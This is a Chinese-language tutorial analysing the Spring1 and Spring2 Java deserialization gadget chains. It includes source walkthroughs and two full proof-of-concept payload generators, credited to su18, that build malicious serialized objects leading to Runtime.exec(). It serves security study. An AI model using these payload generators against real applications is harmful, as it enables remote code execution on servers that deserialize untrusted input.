Spring系列反序列化链
Spring1反序列化
前言
学完Spring反序列化链才感觉到挖出这条链的大佬有多恐怖,光看都给我看晕了,不多说直接开始。
pom.xml如下
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>
大致gadget chain,本文就分析到TemplatesImpl.newTransformer()
,如果有地方分析的不对欢迎师傅们指出
/*
Gadget chain:
ObjectInputStream.readObject()
SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()
SerializableTypeWrapper.TypeProvider(Proxy).getType()
AnnotationInvocationHandler.invoke()
HashMap.get()
ReflectionUtils.findMethod()
SerializableTypeWrapper.TypeProvider(Proxy).getType()
AnnotationInvocationHandler.invoke()
HashMap.get()
ReflectionUtils.invokeMethod()
Method.invoke()
Templates(Proxy).newTransformer()
AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke()
ObjectFactory(Proxy).getObject()
AnnotationInvocationHandler.invoke()
HashMap.get()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.TransletClassLoader.defineClass()
Pwner*(Javassist-generated).<static init>
Runtime.exec()
*/
MethodInvokeTypeProvider
在 Spring 核心包中存在这样一个内部类:org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider
,这个类实现了 TypeProvider 接口,是一个可以被反序列化的类。
readObject代码如下,调用了ReflectionUtils.findMethod获取Method对象,调用invokeMethod执行方法。无参调用,如果可以调用到TemplatesImpl.newTransformer即可完成反序列化链了。
private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException {
inputStream.defaultReadObject();
Method method = ReflectionUtils.findMethod(this.provider.getType().getClass(), this.methodName);
this.result = ReflectionUtils.invokeMethod(method, this.provider.getType());
}
ObjectFactoryDelegatingInvocationHandler
org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler类是实现了InvocationHandler和Serializable接口的一个类,invoke方法如下
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
String methodName = method.getName();
if (methodName.equals("equals")) {
return proxy == args[0];
} else if (methodName.equals("hashCode")) {
return System.identityHashCode(proxy);
} else if (methodName.equals("toString")) {
return this.objectFactory.toString();
} else {
try {
return method.invoke(this.objectFactory.getObject(), args);
} catch (InvocationTargetException var6) {
throw var6.getTargetException();
}
}
}
反射调用了this.objectFactory.getObject()的method方法。
构造
这条链是比较复杂的,因为设计到了三个动态代理,我在看的时候给我绕晕了。这里我先给出su18师傅的poc
public class Spring1 {
public static String fileName = "Spring1.bin";
public static void main(String[] args) throws Exception {
// 生成包含恶意类字节码的 TemplatesImpl 类
TemplatesImpl tmpl = SerializeUtil.generateTemplatesImpl();
// 使用 AnnotationInvocationHandler 动态代理
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
HashMap<String, Object> map = new HashMap<>();
map.put("getObject", tmpl);
// 使用动态代理初始化 AnnotationInvocationHandler
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
// 使用 AnnotationInvocationHandler 动态代理 ObjectFactory 的 getObject 方法,使其返回 TemplatesImpl
ObjectFactory<?> factory = (ObjectFactory<?>) Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(), new Class[]{ObjectFactory.class}, invocationHandler);
// ObjectFactoryDelegatingInvocationHandler 的 invoke 方法触发 ObjectFactory 的 getObject
// 并且会调用 method.invoke(返回值,args)
// 此时返回值被我们使用动态代理改为了 TemplatesImpl
// 接下来需要 method 是 newTransformer(),就可以触发调用链了
Class<?> clazz = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
Constructor<?> ofdConstructor = clazz.getDeclaredConstructors()[0];
ofdConstructor.setAccessible(true);
// 使用动态代理出的 ObjectFactory 类实例化 ObjectFactoryDelegatingInvocationHandler
InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(factory);
// ObjectFactoryDelegatingInvocationHandler 本身就是个 InvocationHandler
// 使用它来代理一个类,这样在这个类调用时将会触发 ObjectFactoryDelegatingInvocationHandler 的 invoke 方法
// 我们用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
// 这样这个代理类同时拥有两个类的方法,既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法
Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{Type.class, Templates.class}, ofdHandler);
// 接下来代理 TypeProvider 的 getType() 方法,使其返回我们创建的 typeTemplateProxy 代理类
HashMap<String, Object> map2 = new HashMap<>();
map2.put("getType", typeTemplateProxy);
InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2);
Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
// 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy
Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{typeProviderClass}, newInvocationHandler);
// 初始化 MethodInvokeTypeProvider
Class<?> clazz2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Constructor<?> cons = clazz2.getDeclaredConstructors()[0];
cons.setAccessible(true);
// 由于 MethodInvokeTypeProvider 初始化时会立即调用 ReflectionUtils.invokeMethod(method, provider.getType())
// 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去
Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
Field field = clazz2.getDeclaredField("methodName");
field.setAccessible(true);
field.set(objects, "newTransformer");
SerializeUtil.writeObjectToFile(objects, fileName);
SerializeUtil.readFileObject(fileName);
}
}
我们最终是要执行到TeamplatesImpl的newTransformer方法,所以在invokeMethod方法中的method必须是要invokeMethod的Method对象,target必须是TeamplatesImpl对象
在readObject方法中,method是通过findMethod获取,其中第一个参数是Class对象,我们这里应该是TeamplatesImpl的class,第二个参数是this.methodName,只需要在构造方法中传入newTransformer即可
在su18师傅的poc中,他第一个参数传的是typeProviderProxy代理类,用的是newInvocationHandler,在调用this.provider.getType()的时候会调用到AnnotationInvocationHandler类的invoke方法,这个大家都很熟,动态代理,用AnnotationInvocationHandler的话他会返回memberValues中键为方法名的值,在这他返回的是另外一个代理类typeTemplateProxy
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
switch (var4) {
case "toString":
return this.toStringImpl();
case "hashCode":
return this.hashCodeImpl();
case "annotationType":
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
刚刚说到在调用完getType方法后会返回typeTemplateProxy这个代理对象,他用了ObjectFactoryDelegatingInvocationHandler这个类做动态代理,具体的invoke方法也说了,就是通过反射去调用this.objectFactory.getObject()
的方法,然后getClass获取的就是那个typeTemplateProxy代理对象的getClass的结果,但是有的师傅可能会问那这里调用完的结果是findMethod(typeTemplateProxy.getClass(),"newTransformer")
,这样,没法获取到newTransformer的Method对象,这个其实在创建这个代理对象的时候就考虑到了,所以创建这个代理对象的时候第二个参数是new Class[]{Type.class, Templates.class}
,保证了他能获取到newTransformer的Method对象,也能被强转为 TypeProvider.getType() 的返回值。然后就是调用invokeMethod方法
这里的target传进来的时候是this.provider.getType()
,也就是上面说到的那个代理对象typeTemplateProxy,这里会去调用typeTemplateProxy.newTransformer,因为是代理对象,就调用ObjectFactoryDelegatingInvocationHandler类的invoke方法,invoke方法中又调用到了this.objectFactory.getObject()
,这里的objectFactory又是一个代理对象,会去调用AnnotationInvocationHandler类的invoke方法,返回的是我们前面map.put("getObject", tmpl);
中的tmpl,就是TemplatesImpl对象,然后在ObjectFactoryDelegatingInvocationHandler
类的invoke方法中的return语句里返回Templates.newTransformer,这条链就差不多是这样,很绕,需要有java动态代理知识的基础才能看懂,涉及了三个动态代理对象,套中套中套啊。
Spring2反序列化
pom.xml
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>
JdkDynamicAopProxy
JdkDynamicAopProxy类在Spring2链中的地位就是ObjectFactoryDelegatingInvocationHandler类在Spring1链中的地位一样,这两个类都同时实现了InvocationHandler, Serializable接口。其中,ObjectFactoryDelegatingInvocationHandler类的invoke主要的就是在invokeMethod的中的method.invoke方法中被调用,JdkDynamicAopProxy也一样,但是他只需要两个动态代理对象即可。具体看代码。
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Object oldProxy = null;
boolean setProxyContext = false;
TargetSource targetSource = this.advised.targetSource;
Class<?> targetClass = null;
Object target = null;
Object var13;
try {
if (!this.equalsDefined && AopUtils.isEqualsMethod(method)) {
Boolean var18 = this.equals(args[0]);
return var18;
}
if (!this.hashCodeDefined && AopUtils.isHashCodeMethod(method)) {
Integer var17 = this.hashCode();
return var17;
}
Object retVal;
if (!this.advised.opaque && method.getDeclaringClass().isInterface() && method.getDeclaringClass().isAssignableFrom(Advised.class)) {
retVal = AopUtils.invokeJoinpointUsingReflection(this.advised, method, args);
return retVal;
}
if (this.advised.exposeProxy) {
oldProxy = AopContext.setCurrentProxy(proxy);
setProxyContext = true;
}
target = targetSource.getTarget();
if (target != null) {
targetClass = target.getClass();
}
List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);
if (chain.isEmpty()) {
retVal = AopUtils.invokeJoinpointUsingReflection(target, method, args);
} else {
MethodInvocation invocation = new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain);
retVal = invocation.proceed();
}
Class<?> returnType = method.getReturnType();
if (retVal != null && retVal == target && returnType.isInstance(proxy) && !RawTargetAccess.class.isAssignableFrom(method.getDeclaringClass())) {
retVal = proxy;
} else if (retVal == null && returnType != Void.TYPE && returnType.isPrimitive()) {
throw new AopInvocationException("Null return value from advice does not match primitive return type for: " + method);
}
var13 = retVal;
} finally {
if (target != null && !targetSource.isStatic()) {
targetSource.releaseTarget(target);
}
if (setProxyContext) {
AopContext.setCurrentProxy(oldProxy);
}
}
return var13;
}
主要位于target = targetSource.getTarget();
处,targetSource是通过this.advised.targetSource
赋值,this.advised在构造方法中是一个AdvisedSupport类的参数,AdvisedSupport类的targetSource属性是通过setTargetSource方法赋值
然后在target = targetSource.getTarget()
处给target赋值
然后调用了AopUtils.invokeJoinpointUsingReflection(target, method, args);
public static Object invokeJoinpointUsingReflection(Object target, Method method, Object[] args) throws Throwable {
try {
ReflectionUtils.makeAccessible(method);
return method.invoke(target, args);
} catch (InvocationTargetException var4) {
throw var4.getTargetException();
} catch (IllegalArgumentException var5) {
throw new AopInvocationException("AOP configuration seems to be invalid: tried calling method [" + method + "] on target [" + target + "]", var5);
} catch (IllegalAccessException var6) {
throw new AopInvocationException("Could not access method [" + method + "]", var6);
}
}
在这里就是调用了TemplatesImpl.newTransformer,具体的话理解了Spring1,来看Spring2就非常简单了。
poc还是拿的su18师傅的,因为我自己懒得打了哈哈哈,主要还是理解为主
public class Spring2 {
public static String fileName = "Spring2.bin";
public static void main(String[] args) throws Exception {
// 生成包含恶意类字节码的 TemplatesImpl 类
TemplatesImpl tmpl = SerializeUtil.generateTemplatesImpl();
// 实例化 AdvisedSupport
AdvisedSupport as = new AdvisedSupport();
as.setTarget(tmpl);
// 使用 AnnotationInvocationHandler 动态代理
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
// JdkDynamicAopProxy 的 invoke 方法触发 TargetSource 的 getTarget 返回 tmpl
// 并且会调用 method.invoke(返回值,args)
// 此时返回值被我们使用动态代理改为了 TemplatesImpl
// 接下来需要 method 是 newTransformer(),就可以触发调用链了
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> aopConstructor = clazz.getDeclaredConstructors()[0];
aopConstructor.setAccessible(true);
// 使用 AdvisedSupport 实例化 JdkDynamicAopProxy
InvocationHandler aopProxy = (InvocationHandler) aopConstructor.newInstance(as);
// JdkDynamicAopProxy 本身就是个 InvocationHandler
// 使用它来代理一个类,这样在这个类调用时将会触发 JdkDynamicAopProxy 的 invoke 方法
// 我们用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
// 这样这个代理类同时拥有两个类的方法,既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法
Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{Type.class, Templates.class}, aopProxy);
// 接下来代理 TypeProvider 的 getType() 方法,使其返回我们创建的 typeTemplateProxy 代理类
HashMap<String, Object> map2 = new HashMap<>();
map2.put("getType", typeTemplateProxy);
InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2);
Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
// 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy
Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{typeProviderClass}, newInvocationHandler);
// 初始化 MethodInvokeTypeProvider
Class<?> clazz2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Constructor<?> cons = clazz2.getDeclaredConstructors()[0];
cons.setAccessible(true);
// 由于 MethodInvokeTypeProvider 初始化时会立即调用 ReflectionUtils.invokeMethod(method, provider.getType())
// 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去
Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
Field field = clazz2.getDeclaredField("methodName");
field.setAccessible(true);
field.set(objects, "newTransformer");
SerializeUtil.writeObjectToFile(objects, fileName);
SerializeUtil.readFileObject(fileName);
}
}
参考
感谢su18的师傅,给我学java安全相关的带来了很大的帮助。
https://su18.org/post/ysoserial-su18-3/#%E6%80%BB%E7%BB%93-5
https://github.com/su18/ysoserial/blob/master/src/main/java/org/su18/ysuserial/payloads/Spring1.java